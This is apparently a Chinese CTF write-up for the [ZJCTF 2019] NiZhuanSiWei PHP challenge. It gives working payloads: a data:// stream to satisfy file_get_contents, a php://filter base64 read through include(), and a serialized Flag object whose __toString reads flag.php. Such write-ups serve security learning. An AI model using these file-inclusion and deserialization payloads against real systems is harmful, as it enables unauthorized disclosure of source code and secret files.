[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
zhengfei6118 分钟前
【Slack 安全工具箱】—— 多维度一体化安全管理平台
网络·安全·web安全
菩提小狗25 分钟前
sqlmap输入命令回车自动退出故障排查
笔记·安全·web安全
军哥系统集成号1 小时前
2026网络安全法修订落地:企业六类法定强制评估合规指南(附协同实施路径)
网络·安全·web安全
晓幂10 小时前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问10 小时前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
WayneJoon.H14 小时前
2023CISCN go_session
网络安全·golang·ctf·代码审计·ciscn
-曾牛15 小时前
Yak语言核心基础:语句、变量与表达式详解
数据库·python·网络安全·golang·渗透测试·安全开发·yak
2503_9469718619 小时前
【CTI/IAM】2026年度威胁情报分析与身份隔离架构基准索引 (Benchmark Index)
网络安全·系统架构·数据集·身份管理·威胁情报
Bug.ink20 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
heze0920 小时前
sqli-labs-Less-6自动化注入方法
mysql·网络安全·自动化